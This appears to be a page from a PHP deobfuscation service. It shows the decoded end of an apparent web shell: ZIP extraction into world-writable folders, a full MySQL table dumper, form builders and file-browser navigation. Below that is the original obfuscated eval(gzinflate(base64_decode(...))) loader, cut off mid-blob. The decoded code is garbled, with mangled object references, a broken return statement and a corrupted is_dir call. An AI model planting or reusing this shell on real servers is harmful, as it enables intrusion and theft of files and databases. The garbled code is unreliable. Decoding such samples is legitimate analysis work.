        IF ($bbbbbbbbbbb['mdate'] && $bbbbbbbbbbb['mtime']) {
            $aaa = ($bbbbbbbbbbb['mtime'] & 0xF800) >> 11;
            $bbb = ($bbbbbbbbbbb['mtime'] & 0x07E0) >> 5;
            $hhhhhhhhhhh = ($bbbbbbbbbbb['mtime'] & 0x001F) * 2;
            $xx = (($bbbbbbbbbbb['mdate'] & 0xFE00) >> 9) + 1980;
            $yy = ($bbbbbbbbbbb['mdate'] & 0x01E0) >> 5;
            $zz = $bbbbbbbbbbb['mdate'] & 0x001F;
            $bbbbbbbbbbb['mtime'] = mktime($aaa, $bbb, $hhhhhhhhhhh, $yy, $zz, $xx);
        } Else {
            $bbbbbbbbbbb['mtime'] = time();
        }
        $bbbbbbbbbbb['stored_filename'] = $bbbbbbbbbbb['filename'];
        $bbbbbbbbbbb['status'] = 'ok';
        IF (substr($bbbbbbbbbbb['filename'], -1) == '/') $bbbbbbbbbbb['external'] = 0x41FF0010;
        Return $bbbbbbbbbbb;
    }
    Function ReadCentralDir($rrrr, $ddddddddddd) {
        $tttttttt = filesize($ddddddddddd);
        IF ($tttttttt < 277) {
            $iiiiiiiiiii = $tttttttt;
        } Else {
            $iiiiiiiiiii = 277;
        }
        @fseek($rrrr, $tttttttt - $iiiiiiiiiii);
        $jjjjjjjjjjj = ftell($rrrr);
        $kkkkkkkkkkk = 0x00000000;
        While ($jjjjjjjjjjj < $tttttttt) {
            $lllllllllll = @fread($rrrr, 1);
            $kkkkkkkkkkk = ($kkkkkkkkkkk << 8) | Ord($lllllllllll);
            IF ($kkkkkkkkkkk == 0x504b0506) {
                $jjjjjjjjjjj++;
                break;
            }
            $jjjjjjjjjjj++;
        }
        $jjjjjjjjjj = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', fread($rrrr, 18));
        IF ($jjjjjjjjjj['comment_size'] != 0) {
            $eeeeeeeeeee['comment'] = fread($rrrr, $jjjjjjjjjj['comment_size']);
        } Else {
            $eeeeeeeeeee['comment'] = '';
        }
        $eeeeeeeeeee['entries'] = $jjjjjjjjjj['entries'];
        $eeeeeeeeeee['disk_entries'] = $jjjjjjjjjj['disk_entries'];
        $eeeeeeeeeee['offset'] = $jjjjjjjjjj['offset'];
        $eeeeeeeeeee['disk_start'] = $jjjjjjjjjj['disk_start'];
        $eeeeeeeeeee['size'] = $jjjjjjjjjj['size'];
        $eeeeeeeeeee['disk'] = $jjjjjjjjjj['disk'];
        Return $eeeeeeeeeee;
    }
    Function ExtractFile($bbbbbbbbbbb, $mmmmmmmm, $rrrr) {
        $bbbbbbbbbbb = $bbbbbbbbbb->readfileheader($rrrr);
        IF (substr($mmmmmmmm, -1) != "/") $mmmmmmmm.= "/";
        IF ([email protected]_dir($mmmmmmmm)) @mkdir($mmmmmmmm, 0777);
        $mmmmmmmmmmm = explode("/", dirname($bbbbbbbbbbb['filename']));
        For ($wwwwww = 0;isset($mmmmmmmmmmm[$wwwwww]);$wwwwww++) {
            IF (!$mmmmmmmmmmm[$wwwwww]) continue;
            $nnnnnnnnnnn.= $mmmmmmmmmmm[$wwwwww] . "/";
            IF (!is_dir($mmmmmmmm . $nnnnnnnnnnn)) @mkdir($mmmmmmmm . $nnnnnnnnnnn, 0777);
        }
        IF (!($bbbbbbbbbbb['external'] == 0x41FF0010) && !($bbbbbbbbbbb['external'] == 16)) {
            IF ($bbbbbbbbbbb['compression'] == 0) {
                $kkkk = @fopen($mmmmmmmm . $bbbbbbbbbbb['filename'], 'wb');
                IF (!$kkkk) Return (-1);
                $tttttttt = $bbbbbbbbbbb['compressed_size'];
                While ($tttttttt != 0) {
                    $ooooooooooo = ($tttttttt < 2048 ? $tttttttt : 2048);
                    $ppppppppppp = fread($rrrr, $ooooooooooo);
                    $ggggggggggg = pack('a' . $ooooooooooo, $ppppppppppp);
                    @fwrite($kkkk, $ggggggggggg, $ooooooooooo);
                    $tttttttt-= $ooooooooooo;
                }
                fclose($kkkk);
                touch($mmmmmmmm . $bbbbbbbbbbb['filename'], $bbbbbbbbbbb['mtime']);
            } Else {
                $kkkk = @fopen($mmmmmmmm . $bbbbbbbbbbb['filename'] . '.gz', 'wb');
                IF (!$kkkk) Return (-1);
                $ggggggggggg = pack('va1a1Va1a1', 0x8b1f, Chr($bbbbbbbbbbb['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
                fwrite($kkkk, $ggggggggggg, 10);
                $tttttttt = $bbbbbbbbbbb['compressed_size'];
                While ($tttttttt != 0) {
                    $ooooooooooo = ($tttttttt < 1024 ? $tttttttt : 1024);
                    $ppppppppppp = fread($rrrr, $ooooooooooo);
                    $ggggggggggg = pack('a' . $ooooooooooo, $ppppppppppp);
                    @fwrite($kkkk, $ggggggggggg, $ooooooooooo);
                    $tttttttt-= $ooooooooooo;
                }
                $ggggggggggg = pack('VV', $bbbbbbbbbbb['crc'], $bbbbbbbbbbb['size']);
                fwrite($kkkk, $ggggggggggg, 8);
                fclose($kkkk);
                $qqqqqqqqqqq = @gzopen($mmmmmmmm . $bbbbbbbbbbb['filename'] . '.gz', 'rb') or die("Cette archive est compresse");
                IF (!$qqqqqqqqqqq) Return (-2);
                $kkkk = @fopen($mmmmmmmm . $bbbbbbbbbbb['filename'], 'wb');
                IF (!$kkkk) Return (-1);
                $tttttttt = $bbbbbbbbbbb['size'];
                While ($tttttttt != 0) {
                    $ooooooooooo = ($tttttttt < 2048 ? $tttttttt : 2048);
                    $ppppppppppp = gzread($qqqqqqqqqqq, $ooooooooooo);
                    $ggggggggggg = pack('a' . $ooooooooooo, $ppppppppppp);
                    @fwrite($kkkk, $ggggggggggg, $ooooooooooo);
                    $tttttttt-= $ooooooooooo;
                }
                fclose($kkkk);
                gzclose($qqqqqqqqqqq);
                touch($mmmmmmmm . $bbbbbbbbbbb['filename'], $bbbbbbbbbbb['mtime']);
                @unlink($mmmmmmmm . $bbbbbbbbbbb['filename'] . '.gz');
            }
        }
        Return true;
    }
}
class PHPZip {
    var $aaaaaaaaaa = '';
    function PHPZip($x) {
        if (@function_exists('gzcompress')) {
            $yyyyyyyyy = getcwd();
            if (is_array($x)) $rrrrrrrrrrr = $x;
            else {
                $rrrrrrrrrrr = $bbbbbbbbbb->GetFileList($x);
                foreach ($rrrrrrrrrrr as $xxxxxxxx => $yyyyyyyy) $rrrrrrrrrrr[] = substr($yyyyyyyy, strlen($x) + 1);
            }
            if ((!empty($x)) && (!is_array($x)) && (file_exists($x))) chdir($x);
            else chdir($yyyyyyyyy);
            if (count($rrrrrrrrrrr) > 0) {
                foreach ($rrrrrrrrrrr as $cccc) {
                    if (is_file($cccc)) {
                        $dddddddddd = fopen($cccc, 'r');
                        $zzzzzzzz = @fread($dddddddddd, filesize($cccc));
                        fclose($dddddddddd);
                        if (is_array($x)) $cccc = basename($cccc);
                        $bbbbbbbbbb->addFile($zzzzzzzz, $cccc);
                    }
                }
                $bbbbbbbbbb->out = $bbbbbbbbbb->file();
                chdir($yyyyyyyyy);
            }
            return (1);
        } else return0;
    }
    function GetFileList($x) {
        static $rrrrrrr;
        if (is_dir($x)) {
            if ($ssssssss = opendir($x)) {
                while ($hhhhh = readdir($ssssssss)) {
                    if ($hhhhh != '.' && $hhhhh != '..') {
                        $oooooooo = $x . '/' . $hhhhh;
                        if (is_dir($oooooooo)) $bbbbbbbbbb->GetFileList($oooooooo);
                        $rrrrrrr[] = $oooooooo;
                    }
                }
                closedir($ssssssss);
            }
        }
        return $rrrrrrr;
    }
    var $uuuuuuuuu = array();
    var $vvvvvvvvv = array();
    var $wwwwwwwww = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $xxxxxxxxx = 0;
    function unix2DosTime($uuuuuuuuuu = 0) {
        $vvvvvvvvvv = ($uuuuuuuuuu == 0) ? getdate() : getdate($uuuuuuuuuu);
        if ($vvvvvvvvvv['year'] < 1980) {
            $vvvvvvvvvv['year'] = 1980;
            $vvvvvvvvvv['mon'] = 1;
            $vvvvvvvvvv['mday'] = 1;
            $vvvvvvvvvv['hours'] = 0;
            $vvvvvvvvvv['minutes'] = 0;
            $vvvvvvvvvv['seconds'] = 0;
        }
        return (($vvvvvvvvvv['year'] - 1980) << 25) | ($vvvvvvvvvv['mon'] << 21) | ($vvvvvvvvvv['mday'] << 16) | ($vvvvvvvvvv['hours'] << 11) | ($vvvvvvvvvv['minutes'] << 5) | ($vvvvvvvvvv['seconds'] >> 1);
    }
    function addFile($jjjjjjjjjj, $xxxxxx, $nnnn = 0) {
        $xxxxxx = str_replace('\\', '/', $xxxxxx);
        $kkkkkkkkkk = dechex($bbbbbbbbbb->unix2DosTime($nnnn));
        $llllllllll = '\x' . $kkkkkkkkkk[6] . $kkkkkkkkkk[7] . '\x' . $kkkkkkkkkk[4] . $kkkkkkkkkk[5] . '\x' . $kkkkkkkkkk[2] . $kkkkkkkkkk[3] . '\x' . $kkkkkkkkkk[0] . $kkkkkkkkkk[1];
        eval('$hexdtime = "' . $llllllllll . '";');
        $mmmmmmmmmm = "\x50\x4b\x03\x04";
        $mmmmmmmmmm.= "\x14\x00";
        $mmmmmmmmmm.= "\x00\x00";
        $mmmmmmmmmm.= "\x08\x00";
        $mmmmmmmmmm.= $llllllllll;
        $nnnnnnnnnn = strlen($jjjjjjjjjj);
        $oooooooooo = crc32($jjjjjjjjjj);
        $pppppppppp = gzcompress($jjjjjjjjjj);
        $qqqqqqqqqq = strlen($pppppppppp);
        $pppppppppp = substr(substr($pppppppppp, 0, strlen($pppppppppp) - 4), 2);
        $mmmmmmmmmm.= pack('V', $oooooooooo);
        $mmmmmmmmmm.= pack('V', $qqqqqqqqqq);
        $mmmmmmmmmm.= pack('V', $nnnnnnnnnn);
        $mmmmmmmmmm.= pack('v', strlen($xxxxxx));
        $mmmmmmmmmm.= pack('v', 0);
        $mmmmmmmmmm.= $xxxxxx;
        $mmmmmmmmmm.= $pppppppppp;
        $mmmmmmmmmm.= pack('V', $oooooooooo);
        $mmmmmmmmmm.= pack('V', $qqqqqqqqqq);
        $mmmmmmmmmm.= pack('V', $nnnnnnnnnn);
        $bbbbbbbbbb->datasec[] = $mmmmmmmmmm;
        $rrrrrrrrrr = strlen(implode('', $bbbbbbbbbb->datasec));
        $ssssssssss = "\x50\x4b\x01\x02";
        $ssssssssss.= "\x00\x00";
        $ssssssssss.= "\x14\x00";
        $ssssssssss.= "\x00\x00";
        $ssssssssss.= "\x08\x00";
        $ssssssssss.= $llllllllll;
        $ssssssssss.= pack('V', $oooooooooo);
        $ssssssssss.= pack('V', $qqqqqqqqqq);
        $ssssssssss.= pack('V', $nnnnnnnnnn);
        $ssssssssss.= pack('v', strlen($xxxxxx));
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('V', 32);
        $ssssssssss.= pack('V', $bbbbbbbbbb->old_offset);
        $bbbbbbbbbb->old_offset = $rrrrrrrrrr;
        $ssssssssss.= $xxxxxx;
        $bbbbbbbbbb->ctrl_dir[] = $ssssssssss;
    }
    function file() {
        $jjjjjjjjjj = implode('', $bbbbbbbbbb->datasec);
        $tttttttttt = implode('', $bbbbbbbbbb->ctrl_dir);
        return $jjjjjjjjjj . $tttttttttt . $bbbbbbbbbb->eof_ctrl_dir . pack('v', sizeof($bbbbbbbbbb->ctrl_dir)) . pack('v', sizeof($bbbbbbbbbb->ctrl_dir)) . pack('V', strlen($tttttttttt)) . pack('V', strlen($jjjjjjjjjj)) . "\x00\x00";
    }
}
function sqldumptable($aa, $kkkk = 0) {
    $sssssssssss = "DROP TABLE IF EXISTS $aa;\n";
    $sssssssssss.= "CREATE TABLE $aa (\n";
    $ttttttttttt = 1;
    $uuuuuuuuuuu = q("SHOW FIELDS FROM $aa");
    while ($vvvvvvvvvvv = mysql_fetch_array($uuuuuuuuuuu)) {
        if (!$ttttttttttt) {
            $sssssssssss.= ",\n";
        } else {
            $ttttttttttt = 0;
        }
        $sssssssssss.= "   $vvvvvvvvvvv[Field] $vvvvvvvvvvv[Type]";
        if (!empty($vvvvvvvvvvv["Default"])) {
            $sssssssssss.= " DEFAULT '$vvvvvvvvvvv[Default]'";
        }
        if ($vvvvvvvvvvv['Null'] != "YES") {
            $sssssssssss.= " NOT NULL";
        }
        if ($vvvvvvvvvvv['Extra'] != "") {
            $sssssssssss.= " $vvvvvvvvvvv[Extra]";
        }
    }
    fr($uuuuuuuuuuu);
    $wwwwwwwwwww = q("SHOW KEYS FROM $aa");
    while ($lllll = mysql_fetch_array($wwwwwwwwwww)) {
        $xxxxxxxxxxx = $lllll['Key_name'];
        if ($xxxxxxxxxxx != "PRIMARY" && $lllll['Non_unique'] == 0) {
            $xxxxxxxxxxx = "UNIQUE|$xxxxxxxxxxx";
        }
        if (!is_array($xxxxxxxxxx[$xxxxxxxxxxx])) {
            $xxxxxxxxxx[$xxxxxxxxxxx] = array();
        }
        $xxxxxxxxxx[$xxxxxxxxxxx][] = $lllll['Column_name'];
    }
    fr($wwwwwwwwwww);
    while (list($xxxxxxxxxxx, $yyyyyyyyyyy) = @each($xxxxxxxxxx)) {
        $sssssssssss.= ",\n";
        $zzzzzzzzzzz = implode($yyyyyyyyyyy, ",");
        if ($xxxxxxxxxxx == "PRIMARY") {
            $sssssssssss.= "   PRIMARY KEY ($zzzzzzzzzzz)";
        } else {
            if (substr($xxxxxxxxxxx, 0, 6) == "UNIQUE") {
                $xxxxxxxxxxx = substr($xxxxxxxxxxx, 7);
            }
            $sssssssssss.= "   KEY $xxxxxxxxxxx ($zzzzzzzzzzz)";
        }
    }
    $sssssssssss.= "\n);\n\n";
    if ($kkkk) {
        fwrite($kkkk, $sssssssssss);
    } else {
        echo $sssssssssss;
    }
    $aaaaaaaaaaaa = q("SELECT * FROM $aa");
    $bbbbbbbbbbbb = mysql_num_fields($aaaaaaaaaaaa);
    while ($ffff = mysql_fetch_array($aaaaaaaaaaaa)) {
        $sssssssssss = "INSERT INTO $aa VALUES(";
        $cccccccccccc = - 1;
        $ttttttttttt = 1;
        while (++$cccccccccccc < $bbbbbbbbbbbb) {
            if (!$ttttttttttt) {
                $sssssssssss.= ", ";
            } else {
                $ttttttttttt = 0;
            }
            if (!isset($ffff[$cccccccccccc])) {
                $sssssssssss.= "NULL";
            } else {
                $sssssssssss.= "'" . mysql_escape_string($ffff[$cccccccccccc]) . "'";
            }
        }
        $sssssssssss.= ");\n";
        if ($kkkk) {
            fwrite($kkkk, $sssssssssss);
        } else {
            echo $sssssssssss;
        }
    }
    fr($aaaaaaaaaaaa);
    if ($kkkk) {
        fwrite($kkkk, "\n");
    } else {
        echo "\n";
    }
}
function ue($dddddddddddd) {
    return urlencode($dddddddddddd);
}
function p($dddddddddddd) {
    echo $dddddddddddd . "\n";
}
function tbhead() {
    p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot() {
    p('</table>');
}
function makehide($xxxxxx, $qqqq = '') {
    p("<input id=\"$xxxxxx\" type=\"hidden\" name=\"$xxxxxx\" value=\"$qqqq\" />");
}
function makeinput($eeeeeeeeeeee = array()) {
    $eeeeeeeeeeee['size'] = $eeeeeeeeeeee['size'] > 0 ? "size=\"$eeeeeeeeeeee[size]\"" : "size=\"100\"";
    $eeeeeeeeeeee['extra'] = $eeeeeeeeeeee['extra'] ? $eeeeeeeeeeee['extra'] : '';
    !$eeeeeeeeeeee['type'] && $eeeeeeeeeeee['type'] = 'text';
    $eeeeeeeeeeee['title'] = $eeeeeeeeeeee['title'] ? $eeeeeeeeeeee['title'] . '<br />' : '';
    $eeeeeeeeeeee['class'] = $eeeeeeeeeeee['class'] ? $eeeeeeeeeeee['class'] : 'input';
    if ($eeeeeeeeeeee['newline']) {
        p("<p>$eeeeeeeeeeee[title]<input class=\"$eeeeeeeeeeee[class]\" name=\"$eeeeeeeeeeee[name]\" id=\"$eeeeeeeeeeee[name]\" value=\"$eeeeeeeeeeee[value]\" type=\"$eeeeeeeeeeee[type]\" $eeeeeeeeeeee[size] $eeeeeeeeeeee[extra] $eeeeeeeeeeee[checked] /></p>");
    } else {
        p("$eeeeeeeeeeee[title]<input class=\"$eeeeeeeeeeee[class]\" name=\"$eeeeeeeeeeee[name]\" id=\"$eeeeeeeeeeee[name]\" value=\"$eeeeeeeeeeee[value]\" type=\"$eeeeeeeeeeee[type]\" $eeeeeeeeeeee[size] $eeeeeeeeeeee[extra] $eeeeeeeeeeee[checked] />");
    }
}
function makeselect($eeeeeeeeeeee = array()) {
    if ($eeeeeeeeeeee['onchange']) {
        $ffffffffffff = 'onchange="' . $eeeeeeeeeeee['onchange'] . '"';
    }
    $eeeeeeeeeeee['title'] = $eeeeeeeeeeee['title'] ? $eeeeeeeeeeee['title'] : '';
    if ($eeeeeeeeeeee['newline']) p('<p>');
    p("$eeeeeeeeeeee[title] <select class=\"input\" id=\"$eeeeeeeeeeee[name]\" name=\"$eeeeeeeeeeee[name]\" $ffffffffffff>");
    if (is_array($eeeeeeeeeeee['option'])) {
        if ($eeeeeeeeeeee['nokey']) {
            foreach ($eeeeeeeeeeee['option'] as $qqqq) {
                if ($eeeeeeeeeeee['selected'] == $qqqq) {
                    p("<option value=\"$qqqq\" selected>$qqqq</option>");
                } else {
                    p("<option value=\"$qqqq\">$qqqq</option>");
                }
            }
        } else {
            foreach ($eeeeeeeeeeee['option'] as $lllll => $qqqq) {
                if ($eeeeeeeeeeee['selected'] == $lllll) {
                    p("<option value=\"$lllll\" selected>$qqqq</option>");
                } else {
                    p("<option value=\"$lllll\">$qqqq</option>");
                }
            }
        }
    }
    p("</select>");
    if ($eeeeeeeeeeee['newline']) p('</p>');
}
function formhead($eeeeeeeeeeee = array()) {
    global $p;
    !$eeeeeeeeeeee['method'] && $eeeeeeeeeeee['method'] = 'post';
    !$eeeeeeeeeeee['action'] && $eeeeeeeeeeee['action'] = $p;
    $eeeeeeeeeeee['target'] = $eeeeeeeeeeee['target'] ? "target=\"$eeeeeeeeeeee[target]\"" : '';
    !$eeeeeeeeeeee['name'] && $eeeeeeeeeeee['name'] = 'form1';
    p("<form name=\"$eeeeeeeeeeee[name]\" id=\"$eeeeeeeeeeee[name]\" action=\"$eeeeeeeeeeee[action]\" method=\"$eeeeeeeeeeee[method]\" $eeeeeeeeeeee[target]>");
    if ($eeeeeeeeeeee['title']) {
        p('<h2>' . $eeeeeeeeeeee['title'] . ' &raquo;</h2>');
    }
}
function maketext($eeeeeeeeeeee = array()) {
    !$eeeeeeeeeeee['cols'] && $eeeeeeeeeeee['cols'] = 100;
    !$eeeeeeeeeeee['rows'] && $eeeeeeeeeeee['rows'] = 25;
    $eeeeeeeeeeee['title'] = $eeeeeeeeeeee['title'] ? $eeeeeeeeeeee['title'] . '<br />' : '';
    p("<p>$eeeeeeeeeeee[title]<textarea class=\"area\" id=\"$eeeeeeeeeeee[name]\" name=\"$eeeeeeeeeeee[name]\" cols=\"$eeeeeeeeeeee[cols]\" rows=\"$eeeeeeeeeeee[rows]\" $eeeeeeeeeeee[extra]>$eeeeeeeeeeee[value]</textarea></p>");
}
function formfooter($xxxxxx = '') {
    !$xxxxxx && $xxxxxx = 'submit';
    p('<p><input class="bt" name="' . $xxxxxx . '" id="' . $xxxxxx . '" type="submit" value="Submit"></p>');
    p('</form>');
}
function goback() {
    global $p, $gggg;
    p('<form action="' . $p . '" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="' . $gggg . '" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
}
function formfoot() {
    p('</form>');
}
function pr($gggggggggggg) {
    echo "<pre>" . print_r($gggggggggggg) . '</pre>';
} ?>

Did this file decode correctly?

Original Code

<?php
eval(gzinflate(base64_decode('
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